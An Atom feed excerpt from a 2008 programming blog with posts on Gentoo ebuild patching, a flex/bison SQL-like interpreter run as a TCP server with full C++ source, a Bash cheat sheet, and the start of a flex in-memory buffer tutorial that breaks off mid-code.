The only drawback is emerge usually needs to compile a package from source, the '-k' flag rarely works. :( But fortunately for what it's good for, you shouldn't have to emerge big apps all the time. &lt;br /&gt;&lt;br /&gt;One of the headaches of using gentoo is what I call 'dead patch' problem. Sometimes, the ebuild info came with a distro or portage does not get updated to reflect patch changes and you end up with dead patch files that are no longer available from gentoo distfiles sources. In this kind of rare situations, one has to create new ebuild files and update the package ebuild database. The steps are:&lt;br /&gt;&lt;br /&gt;1. after emerge failure, figure out a live patch file and note the difference between dead patch number and live patch number&lt;br /&gt;2. cd /usr/portage/category/package-name/&lt;br /&gt;3. cp deadpatch.ebuild livepatch.ebuild, make necessary changes in livepatch.ebuild, as of 2007.1 distro, it is no longer necessary to modify the newly created livepatch.ebuild as the ebuild system automatically deduct the patch number from the ebuild file name.&lt;br /&gt;4. issue command: ebuild livepatch.ebuild digest This will update the ebuild database&lt;br /&gt;5. redo emerge and repeat the process if there is remaining errors related to bad ebuild info&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. http://www.gentoo.org/doc/en/gentoo-x86-quickinstall.xml&lt;br /&gt;2. http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=10&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-315690842109442487?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/315690842109442487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/315690842109442487'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/flavors-of-linux-gentoo-distro.html' title='Flavors of Linux, the Gentoo distro'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5106293356480603582</id><published>2008-02-11T10:30:00.000-05:00</published><updated>2008-02-11T14:13:11.525-05:00</updated><title type='text'>Compilers Part 6, DSEL interpreter in a tcp/ip server</title><content type='html'>We are finally ready to port our interpreter into a tcp/ip server. DSEL stands for domain specific embedded language. In our project, we created a simple sql like scripting language to directly manipulate data stored in memory. &lt;br /&gt;&lt;br /&gt;There are a few technicalities apart from lexer/parser to successfully build a tcp/ip server. We use the TCP_server implementation from STLplus library, this implementation provides us a non-blocking poll based tcp server implementation. Combined with forking or boost thread, it can be easily adapted in a multiplexing tcp/ip server. &lt;br /&gt;&lt;br /&gt;We introduce a new output string stream as our global (or per thread if necessary) output buffer because we no longer have yyout (stdout) to display result from interpreter. The result of interpreting user input is put into the output string stream and sent back to client. We simply rename the 'main' method in the bison grammar file to 'parse' and invoke it from a serverlet thread as the server processing function, it simply calls 'yyparse' to parse client input. Before the server calls parse, it calls set_yybuffer(TCP_connection &amp; conn) to set up flex in memory string buffer using techniques discussed in the previous entry on compiler construction. &lt;br /&gt;&lt;br /&gt;In set_yybuffer, we send the server output to client and accepts client input and creates a flex string buffer from it. Every time client input is exhausted, yywrap is called and current flex buffer is released and set_yybuffer is called again to read input from client. Because we use poll based non-blocking tcp IO provided by STLplus, we don't have to worry much about synchronizing between client and server. The library provides convenient interface to operate IO based on the socket status.&lt;br /&gt;&lt;br /&gt;As usual, the complete listing including its makefile is posted here:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;#ifndef MAP_H&lt;br /&gt;#define MAP_H&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; sstream&gt;&lt;br /&gt;#include &lt; iomanip&gt;&lt;br /&gt;#include &lt; map&gt;&lt;br /&gt;&lt;br /&gt;#include &lt; boost/lambda/lambda.hpp&gt;&lt;br /&gt;typedef std::map&lt; std::string, std::string&gt; map_t;&lt;br /&gt;&lt;br /&gt;#include "tcp.hpp"&lt;br /&gt;extern int set_yybuffer(TCP_connection &amp; );&lt;br /&gt;extern int parse();&lt;br /&gt;// a value type that describe the value of a symbol table entry&lt;br /&gt;// Essentially the symbol table entry data structure&lt;br /&gt;struct value{&lt;br /&gt;    unsigned char type; // the first letter of corresponding union type&lt;br /&gt;    union {&lt;br /&gt;        int ival;&lt;br /&gt;        float fval;&lt;br /&gt;        double dval;&lt;br /&gt;        char * sval;&lt;br /&gt;        map_t * mval;&lt;br /&gt;    } ivalue;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// The symbol table data structure&lt;br /&gt;// Symbol table entry is keyed by the symbol string value&lt;br /&gt;typedef std::map&lt; std::string, value&gt; symtab_t;&lt;br /&gt;&lt;br /&gt;extern symtab_t symtab;&lt;br /&gt;extern std::ostringstream os;&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;%{&lt;br /&gt;#include "map.tab.h"&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; unistd.h&gt;&lt;br /&gt;#include &lt; fcntl.h&gt;&lt;br /&gt;#include &lt; time.h&gt;&lt;br /&gt;#include &lt; string.h&gt;&lt;br /&gt;}&lt;br /&gt;TCP_connection conn_yy;&lt;br /&gt;std::string data;&lt;br /&gt;std::ostringstream os;&lt;br /&gt;&lt;br /&gt;bool report_err;&lt;br /&gt;int lineno;&lt;br /&gt;int tokenpos;&lt;br /&gt;%}&lt;br /&gt;D   [0-9]&lt;br /&gt;N   {D}+&lt;br /&gt;L   [a-zA-Z]&lt;br /&gt;A   [a-zA-Z0-9]&lt;br /&gt;ID  ({L}{A}*)&lt;br /&gt;&lt;br /&gt;%option yylineno&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;select      { tokenpos += yyleng; return SELECT; }&lt;br /&gt;insert      { tokenpos += yyleng; return INSERT; }&lt;br /&gt;into        { tokenpos += yyleng; return INTO; }&lt;br /&gt;from        { tokenpos += yyleng; return FROM; }&lt;br /&gt;create      { tokenpos += yyleng; return CREATE; }&lt;br /&gt;table       { tokenpos += yyleng; return TABLE; }&lt;br /&gt;list        { tokenpos += yyleng; return LIST; }&lt;br /&gt;where       { tokenpos += yyleng; return WHERE; }&lt;br /&gt;key         { tokenpos += yyleng; return KEY; }&lt;br /&gt;value       { tokenpos += yyleng; return VALUE; }&lt;br /&gt;quit        { tokenpos += yyleng; return QUIT; }&lt;br /&gt;&lt;br /&gt;${ID}       { tokenpos += yyleng; yylval.text = strdup(yytext+1); return OBJECT; }&lt;br /&gt;{ID}        { tokenpos += yyleng; yylval.text = strdup(yytext); return TEXT; }&lt;br /&gt;[ \t]       { tokenpos += yyleng; /* ignore white space */ }&lt;br /&gt;.           { tokenpos += yyleng; return yytext[0]; }&lt;br /&gt;\n          { return '\n'; }&lt;br /&gt;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;int yyerror(char * s){&lt;br /&gt;    extern int yylineno;&lt;br /&gt;    os &lt;&lt; yylineno &lt;&lt; " : " &lt;&lt; s &lt;&lt; " at \n" &lt;&lt; data;&lt;br /&gt;    for(int i = 0; i &lt; tokenpos; i ++) os &lt;&lt; ' ';&lt;br /&gt;    os &lt;&lt; "^\n";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;YY_BUFFER_STATE cur_buffer;&lt;br /&gt;&lt;br /&gt;int set_yybuffer(TCP_connection &amp; conn){&lt;br /&gt;    conn_yy = conn;&lt;br /&gt;    tokenpos = 0;&lt;br /&gt;    int ntry = 0; // time out after 120 seconds&lt;br /&gt;&lt;br /&gt;    while(!conn.send_ready(100000)) ;&lt;br /&gt;    std::string send_data = os.str();&lt;br /&gt;    std::cout &lt;&lt; "send to client: " &lt;&lt; send_data;&lt;br /&gt;    if(!conn.send(send_data)) return 1;&lt;br /&gt;    os.str("");&lt;br /&gt;&lt;br /&gt;    while(!conn.receive_ready(100000) &amp;&amp; ntry ++ &lt; 1200) ;&lt;br /&gt;    data = "";&lt;br /&gt;    if(ntry &gt;= 1200 || !conn.receive(data)) return 1;&lt;br /&gt;    os &lt;&lt; data;&lt;br /&gt;&lt;br /&gt;    std::cout &lt;&lt; "analyze: " &lt;&lt; data;&lt;br /&gt;    cur_buffer = yy_scan_string(data.c_str());&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int yywrap(){&lt;br /&gt;    yy_delete_buffer(cur_buffer);&lt;br /&gt;    return set_yybuffer(conn_yy);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; stdio.h&gt;&lt;br /&gt;#define YYDEBUG 1&lt;br /&gt;}&lt;br /&gt;extern int yyerror(char *);&lt;br /&gt;extern int yylex();&lt;br /&gt;&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;symtab_t symtab;&lt;br /&gt;bool where_by_key = false;&lt;br /&gt;bool where_by_value = false;&lt;br /&gt;std::string tablename;&lt;br /&gt;std::string where;&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;%union{&lt;br /&gt;    char * text;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;%token &lt;text&gt; INSERT SELECT INTO TEXT OBJECT FROM CREATE TABLE LIST&lt;br /&gt;%token &lt;text&gt; WHERE KEY VALUE&lt;br /&gt;%token &lt;text&gt; QUIT&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;statements: statements statement&lt;br /&gt;    | statement&lt;br /&gt;    ;&lt;br /&gt;statement: insert_stmt opt_semicolon '\n'&lt;br /&gt;    | select_stmt opt_semicolon '\n'&lt;br /&gt;    | create_stmt opt_semicolon '\n'&lt;br /&gt;    | assign_stmt opt_semicolon '\n'&lt;br /&gt;    | list_stmt opt_semicolon '\n'&lt;br /&gt;    | QUIT opt_semicolon '\n'&lt;br /&gt;    | '\n'&lt;br /&gt;    | error '\n' { yyclearin; yyerrok; }&lt;br /&gt;    ;&lt;br /&gt;opt_semicolon:&lt;br /&gt;    | ';'&lt;br /&gt;    ;&lt;br /&gt;assign_stmt:&lt;br /&gt;    OBJECT '=' TEXT&lt;br /&gt;            {&lt;br /&gt;                // string variable assignment&lt;br /&gt;                symtab_t::iterator it = symtab.find($1);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 's') // Symbol found and type is correct&lt;br /&gt;                    it-&gt;second.ivalue.sval = $3;&lt;br /&gt;                else{  // New symbol, add to symbol table&lt;br /&gt;                    value v;&lt;br /&gt;                    v.ivalue.sval = $3;&lt;br /&gt;                    v.type = 's';&lt;br /&gt;                    symtab[$1] = v;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;create_stmt:&lt;br /&gt;    CREATE TABLE OBJECT&lt;br /&gt;            {&lt;br /&gt;                // Create a new dictionary&lt;br /&gt;                std::string symbol = $3;&lt;br /&gt;                symtab_t::iterator it = symtab.find(symbol);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){ // Symbol found and type is correct&lt;br /&gt;                    os &lt;&lt; "symbol: " &lt;&lt; symbol &lt;&lt; " already exists\n";&lt;br /&gt;                }else{ // New symbol, create new map(table), add to symbol table&lt;br /&gt;                    value v;&lt;br /&gt;                    v.ivalue.mval = new(map_t);&lt;br /&gt;                    v.type = 'm';&lt;br /&gt;                    symtab[symbol] = v;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;insert_stmt:&lt;br /&gt;    INSERT INTO OBJECT '(' TEXT ',' TEXT ')'&lt;br /&gt;            {&lt;br /&gt;                // insert key, value pair into an existing dictionary&lt;br /&gt;                symtab_t::const_iterator it = symtab.find($3);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){ // Symbol found and type is correct&lt;br /&gt;                    (*(it-&gt;second.ivalue.mval))[std::string($5)] = std::string($7);&lt;br /&gt;                }else&lt;br /&gt;                    os &lt;&lt; "unknown symbol: " &lt;&lt; $3 &lt;&lt; " create first\n";&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;select_stmt: simple_select_stmt&lt;br /&gt;            {&lt;br /&gt;                // go through all key, value pair of a dictionary&lt;br /&gt;                symtab_t::const_iterator it = symtab.find(tablename);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){&lt;br /&gt;                    map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                    for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                        os &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                            &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                }else&lt;br /&gt;                    os &lt;&lt; "invalid object\n";&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;    | simple_select_stmt opt_where_stmt&lt;br /&gt;            {&lt;br /&gt;                // go through all key, value pair of a dictionary&lt;br /&gt;                // based on where criteria, search by key or value&lt;br /&gt;                symtab_t::const_iterator it = symtab.find(tablename);&lt;br /&gt;                if(it != symtab.end() &amp;&amp; it-&gt;second.type == 'm'){&lt;br /&gt;                    map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                    for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                        if( (where_by_key &amp;&amp; mit-&gt;first == where) ||&lt;br /&gt;                            (where_by_value &amp;&amp; mit-&gt;second == where) ||&lt;br /&gt;                            (!where_by_key &amp;&amp; !where_by_value) )&lt;br /&gt;                            os &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                                &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                }else&lt;br /&gt;                    os &lt;&lt; "invalid object\n";&lt;br /&gt;&lt;br /&gt;                where_by_key = where_by_value = false;&lt;br /&gt;&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;simple_select_stmt:&lt;br /&gt;    SELECT '*' FROM OBJECT  { tablename = $4; }&lt;br /&gt;    ;&lt;br /&gt;opt_where_stmt: WHERE KEY '=' TEXT { where_by_key = true; where = $4; }&lt;br /&gt;    | WHERE VALUE '=' TEXT         { where_by_value = true; where = $4; }&lt;br /&gt;    ;&lt;br /&gt;list_stmt:&lt;br /&gt;    LIST&lt;br /&gt;            {&lt;br /&gt;                // Dump the entire symbol table&lt;br /&gt;                // For dictionaries, dump all key, value pairs as well&lt;br /&gt;                //&lt;br /&gt;                // Iterate through the symbol table&lt;br /&gt;                symtab_t::const_iterator it = symtab.begin();&lt;br /&gt;                for(; it != symtab.end(); ++it){&lt;br /&gt;                    os &lt;&lt; "symbol: " &lt;&lt; it-&gt;first &lt;&lt; ' ' &lt;&lt; it-&gt;second.type &lt;&lt; '\n';&lt;br /&gt;                    switch(it-&gt;second.type){&lt;br /&gt;                        case 's':    os &lt;&lt; "value = " &lt;&lt; it-&gt;second.ivalue.sval &lt;&lt; '\n';&lt;br /&gt;                                break;&lt;br /&gt;                        case 'm':    {&lt;br /&gt;                                // iterate through the dictionary&lt;br /&gt;                                map_t::const_iterator mit = it-&gt;second.ivalue.mval-&gt;begin();&lt;br /&gt;                                for(; mit != it-&gt;second.ivalue.mval-&gt;end(); ++ mit)&lt;br /&gt;                                    os &lt;&lt; "key = " &lt;&lt; mit-&gt;first &lt;&lt; ' '&lt;br /&gt;                                        &lt;&lt; "value = " &lt;&lt; mit-&gt;second &lt;&lt; '\n';&lt;br /&gt;                                }&lt;br /&gt;                                break;&lt;br /&gt;                        default:&lt;br /&gt;                                os &lt;&lt; "Unknown data type\n";&lt;br /&gt;                                break;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;    ;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;int parse(){&lt;br /&gt;    extern int yydebug;&lt;br /&gt;    yydebug = 0;&lt;br /&gt;    yyparse();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#include &lt; vector&gt;&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; algorithm&gt;&lt;br /&gt;#include &lt; functional&gt;&lt;br /&gt;&lt;br /&gt;#include "map.h"&lt;br /&gt;&lt;br /&gt;#include "tcp.hpp"&lt;br /&gt;#include "fileio.hpp"&lt;br /&gt;#include "debug.hpp"&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;int main (int argc, char* argv[])&lt;br /&gt;{&lt;br /&gt;    DEBUG_TRACE;&lt;br /&gt;    if (argc != 2)&lt;br /&gt;        ferr &lt;&lt; "usage: " &lt;&lt; argv[0] &lt;&lt; " &lt;port&gt;" &lt;&lt; endl;&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;        // create a client connection&lt;br /&gt;        // the address is specified by command argument 1 and the port&lt;br /&gt;        // specified by argument 2. Use a timeout of 10s.&lt;br /&gt;        TCP_server main_server((unsigned short)atoi(argv[1]), 5);&lt;br /&gt;        // test to see if the connection completed OK within the timeout&lt;br /&gt;        if (!main_server.initialised())&lt;br /&gt;        {&lt;br /&gt;            ferr &lt;&lt; "server failed to initialise" &lt;&lt; endl;&lt;br /&gt;            return -1;&lt;br /&gt;        }&lt;br /&gt;        if (main_server.error())&lt;br /&gt;        {&lt;br /&gt;            ferr &lt;&lt; "server initialisation failed with error " &lt;&lt; main_server.error() &lt;&lt; endl;&lt;br /&gt;            return -1;&lt;br /&gt;        }&lt;br /&gt;        while(!main_server.connection_ready(1000000)) ;&lt;br /&gt;        TCP_connection server = main_server.connection();&lt;br /&gt;&lt;br /&gt;        std::cout &lt;&lt; "Got a new connection.\n";&lt;br /&gt;        if(!set_yybuffer(server))&lt;br /&gt;            parse();&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A few notes, the program misses stringent memory manage, there are memory leaks associated with strdup usage (fix is simple, add free in grammar action code); server does not finalize without proper QUIT action code; turn the server into a multiplexing server and add proper synchronization on shared objects. These are important for a real world application but they are not the focus of our project. &lt;br /&gt;&lt;br /&gt;We have successfully create a DSEL interpreter living inside a tcp/ip server utlizing powerful C++ STL library. This is a good starting point to implement more robust and useful server side DSEL interpreters.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5106293356480603582?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5106293356480603582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5106293356480603582'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/compilers-part-6-edsl-interpreter-in.html' title='Compilers Part 6, DSEL interpreter in a tcp/ip server'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-8270881611636827537</id><published>2008-02-08T20:17:00.000-05:00</published><updated>2008-02-08T20:18:20.034-05:00</updated><title type='text'>Bash Programming Cheat Sheet (Repost)</title><content type='html'>Help File Library: Bash Programming Cheat Sheet&lt;br /&gt;&lt;br /&gt;Written By: ph34r&lt;br /&gt;&lt;br /&gt;A quick cheat sheet for programmers who want to do shell scripting. This is not intended to teach programming, etc. but it is intended for a someone who knows one programming language to begin learning about bash scripting.&lt;br /&gt;&lt;br /&gt;Basics&lt;br /&gt;&lt;br /&gt;All bash scripts must tell the o/s what to use as the interpreter. The first line of any script should be:&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;You must make bash scripts executable.&lt;br /&gt;chmod +x filename&lt;br /&gt;&lt;br /&gt;Variables&lt;br /&gt;&lt;br /&gt;Create a variable - just assign value. Variables are non-datatyped (a variable can hold strings, numbers, etc. with out being defined as such).&lt;br /&gt;varname=value&lt;br /&gt;&lt;br /&gt;Access a variable by putting $ on the front of the name&lt;br /&gt;echo $varname&lt;br /&gt;&lt;br /&gt;Values passed in from the command line as arguments are accessed as $# where #= the index of the variable in the array of values being passed in. This array is base 1 not base 0.&lt;br /&gt;command var1 var2 var3 .... varX&lt;br /&gt;$1 contains whatever var1 was, $2 contains whatever var2 was, etc.&lt;br /&gt;&lt;br /&gt;Built in variables:&lt;br /&gt;&lt;br /&gt;Variable  Use&lt;br /&gt;$1-$N  Stores the arguments (variables) that were passed to the shell program from the command line.&lt;br /&gt;$?  Stores the exit value of the last command that was executed.&lt;br /&gt;$0  Stores the first word of the entered command (the name of the shell program).&lt;br /&gt;$*  Stores all the arguments that were entered on the command line ($1 $2 ...).&lt;br /&gt;"$@"  Stores all the arguments that were entered on the command line, individually quoted ("$1" "$2" ...).&lt;br /&gt;&lt;br /&gt;Quote Marks&lt;br /&gt;Regular double quotes ("like these") make the shell ignore whitespace and count it all as one argument being passed or string to use. Special characters inside are still noticed/obeyed.&lt;br /&gt;&lt;br /&gt;Single quotes 'like this' make the interpreting shell ignore all special characters in whatever string is being passed.&lt;br /&gt;&lt;br /&gt;The back single quote marks (`command`) perform a different function. They are used when you want to use the results of a command in another command. For example, if you wanted to set the value of the variable contents equal to the list of files in the current directory, you would type the following command: contents=`ls`, the results of the ls program are put in the variable contents.&lt;br /&gt;&lt;br /&gt;Logic and comparisons&lt;br /&gt;A command called test is used to evaluate conditional expressions, such as a if-then statement that checks the entrance/exit criteria for a loop.&lt;br /&gt;&lt;br /&gt;test expression&lt;br /&gt;Or&lt;br /&gt;[ expression ]&lt;br /&gt;&lt;br /&gt;Numeric Comparisons&lt;br /&gt;int1 -eq int2     Returns True if int1 is equal to int2.&lt;br /&gt;int1 -ge int2     Returns True if int1 is greater than or equal to int2.&lt;br /&gt;int1 -gt int2     Returns True if int1 is greater than int2.&lt;br /&gt;int1 -le int2     Returns True if int1 is less than or equal to int2&lt;br /&gt;int1 -lt int2     Returns True if int1 is less than int2&lt;br /&gt;int1 -ne int2     Returns True if int1 is not equal to int2&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;String Comparisons&lt;br /&gt;str1 = str2     Returns True if str1 is identical to str2.&lt;br /&gt;str1 != str2     Returns True if str1 is not identical to str2.&lt;br /&gt;str     Returns True if str is not null.&lt;br /&gt;-n str     Returns True if the length of str is greater than zero.&lt;br /&gt;-z str     Returns True if the length of str is equal to zero. (zero is different than null)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;File Comparisons&lt;br /&gt;-d filename     Returns True if file, filename is a directory.&lt;br /&gt;-f filename     Returns True if file, filename is an ordinary file.&lt;br /&gt;-r filename     Returns True if file, filename can be read by the process.&lt;br /&gt;-s filename     Returns True if file, filename has a nonzero length.&lt;br /&gt;-w filename     Returns True if file, filename can be written by the process.&lt;br /&gt;-x filename     Returns True if file, filename is executable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Expression Comparisons&lt;br /&gt;!expression     Returns true if expression is not true&lt;br /&gt;expr1 -a expr2     Returns True if expr1 and expr2 are true. ( &amp;&amp; , and )&lt;br /&gt;expr1 -o expr2     Returns True if expr1 or expr2 is true. ( ||, or )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Logic Con't.&lt;br /&gt;&lt;br /&gt;If...then&lt;br /&gt;&lt;br /&gt;if [ expression ]&lt;br /&gt;        then&lt;br /&gt;                commands&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;If..then...else&lt;br /&gt;&lt;br /&gt;if [ expression ]&lt;br /&gt;        then&lt;br /&gt;                commands&lt;br /&gt;        else&lt;br /&gt;                commands&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;If..then...else If...else&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if [ expression ]&lt;br /&gt;        then&lt;br /&gt;                commands&lt;br /&gt;elif [ expression2 ]&lt;br /&gt;        then&lt;br /&gt;                commands&lt;br /&gt;else&lt;br /&gt;                commands&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;Case select&lt;br /&gt;&lt;br /&gt;case string1 in&lt;br /&gt;        str1)&lt;br /&gt;                commands;;&lt;br /&gt;        str2)&lt;br /&gt;                commands;;&lt;br /&gt;        *)&lt;br /&gt;                commands;;&lt;br /&gt;esac&lt;br /&gt;&lt;br /&gt;string1 is compared to str1 and str2. If one of these strings matches string1, the commands up until the double semicolon (; ;) are executed. If neither str1 nor str2 matches string1, the commands associated with the asterisk are executed. This is the default case condition because the asterisk matches all strings.&lt;br /&gt;&lt;br /&gt;Iteration (Loops)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for var1 in list&lt;br /&gt;do&lt;br /&gt;        commands&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;This executes once for each item in the list. This list can be a variable that contains several words separated by spaces (such as output from ls or cat), or it can be a list of values that is typed directly into the statement. Each time through the loop, the variable var1 is assigned the current item in the list, until the last one is reached.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;while [ expression ]&lt;br /&gt;do&lt;br /&gt;        commands&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;until [ expression ]&lt;br /&gt;do&lt;br /&gt;        commands&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;Functions&lt;br /&gt;&lt;br /&gt;Create a function:&lt;br /&gt;&lt;br /&gt;fname(){&lt;br /&gt;        commands&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Call it by using the following syntax: fname&lt;br /&gt;&lt;br /&gt;Or, create a function that accepts arguments:&lt;br /&gt;&lt;br /&gt;fname2 (arg1,arg2...argN){&lt;br /&gt;        commands&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;And call it with: fname2 arg1 arg2 ... argN&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-8270881611636827537?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8270881611636827537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/8270881611636827537'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/bash-programming-cheat-sheet-repost.html' title='Bash Programming Cheat Sheet (Repost)'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1565701908194371002</id><published>2008-02-07T14:10:00.000-05:00</published><updated>2008-02-07T14:50:28.065-05:00</updated><title type='text'>Compilers Part 5, working with in memory data buffers</title><content type='html'>In the previous entries, we were able to set up the spec for the scripting language. To port the interpreter into a tcp/ip server, the first task is to allow the lexer to work with in memory data buffers instead of stdin and stdout. The reason is simple, user input will come from a network client and there are subtle differences between a network socket and stdin. &lt;br /&gt;&lt;br /&gt;Fortunately, flex provides several interface to set up in memory data buffer as token input. The following lex source code demonstrates how to use the relevant interface:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;%{&lt;br /&gt;extern "C"{&lt;br /&gt;#include &lt; sys/stat.h&gt;&lt;br /&gt;#include &lt; fcntl.h&gt;&lt;br /&gt;#include &lt; string.h&gt;&lt;br /&gt;}&lt;br /&gt;#include &lt; iostream&gt;&lt;br /&gt;#include &lt; sstream&gt;&lt;br /&gt;#include &lt; fstream&gt;&lt;br /&gt;#include &lt; string&gt;&lt;br /&gt;#include &lt; vector&gt;&lt;br /&gt;#include &lt; algorithm&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;unsigned int line = 0;&lt;br /&gt;std::vector&lt; std::string&gt; text;&lt;br /&gt;&lt;br /&gt;%}&lt;br /&gt;&lt;br /&gt;extern int yywrap();&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;\/\/.*$    { cout &lt;&lt; "comment: " &lt;&lt; yytext; }&lt;br /&gt;.|\n        ;&lt;br /&gt;%%&lt;br /&gt;&lt;br /&gt;YY_BUFFER_STATE cur_buffer;&lt;br /&gt;int main(int argc, char * argv[]){&lt;br /&gt;&lt;br /&gt;    cout &lt;&lt; argv[1] &lt;&lt; '\n';&lt;br /&gt;    ifstream ifs(argv[1]);&lt;br /&gt;&lt;br /&gt;    char buf[256];&lt;br /&gt;    int len;&lt;br /&gt;    while(ifs.good()){&lt;br /&gt;        memset(buf, 0, 256);&lt;br /&gt;        ifs.getline(buf, 254);&lt;br /&gt;        len = strlen(buf);&lt;br /&gt;        buf[len] = '\n';&lt;br /&gt;        text.push_back(buf);&lt;br /&gt;        cout &lt;&lt; buf;&lt;br /&gt;    }&lt;br /&gt;    cout &lt;&lt; "\nlines read: " &lt;&lt; text.size() &lt;&lt; '\n';&lt;br /&gt;&lt;br /&gt;    cur_buffer = yy_scan_string(text[line].c_str());&lt;br /&gt;    extern int yylex();&lt;br /&gt;    yylex();&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int 